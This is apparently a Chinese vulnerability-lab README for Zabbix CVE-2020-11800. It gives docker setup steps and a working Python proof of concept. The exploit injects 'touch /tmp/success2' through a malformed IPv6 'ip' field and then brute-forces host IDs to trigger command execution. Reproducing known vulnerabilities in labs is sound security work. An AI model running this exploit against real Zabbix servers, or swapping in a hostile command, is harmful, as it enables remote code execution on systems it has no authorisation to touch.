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zabbix/CVE-2020-11800/README.zh-cn.md
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zabbix/CVE-2020-11800/README.zh-cn.md
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# Zabbix Server Active Proxy Trapper 命令注入漏洞修复绕过(CVE-2020-11800)
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Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。在[CVE-2017-2824][1]中,其Server端 trapper command 功能存在一处代码执行漏洞,而修复补丁并不完善,导致可以利用IPv6进行绕过,注入任意命令。
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参考链接:
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- https://xz.aliyun.com/t/8991
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## 环境搭建
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执行如下命令启动一个完整的Zabbix环境,包含Web端、Server端、1个Agent和Mysql数据库:
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```
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docker compose up -d
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```
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命令执行后,执行`docker compose ps`查看容器是否全部成功启动,如果没有,可以尝试重新执行`docker compose up -d`。
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利用该漏洞,需要你服务端开启了自动注册功能,开启方法请参考[CVE-2017-2824][1]。
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## 漏洞复现
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修改[CVE-2017-2824][1]的POC中的IP字段,构造新的POC:
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```python
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import sys
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import socket
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import json
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import sys
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def send(ip, data):
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conn = socket.create_connection((ip, 10051), 10)
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conn.send(json.dumps(data).encode())
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data = conn.recv(2048)
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conn.close()
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return data
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target = sys.argv[1]
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print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
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for i in range(10000, 10500):
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data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
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if data and b'failed' not in data:
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print('hostid: %d' % i)
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print(data)
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```
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可见,这个POC与[CVE-2017-2824][1]的POC非常相似,但我使用IPv6 `ffff:::;touch /tmp/success2`绕过了修复补丁。
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当查看到如下结果时,则说明命令执行成功:
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进入server容器,可见`/tmp/success2`已成功创建:
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有兴趣的同学可以对这个POC进行改进,提交Pull Request。
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[1]: ../CVE-2017-2824
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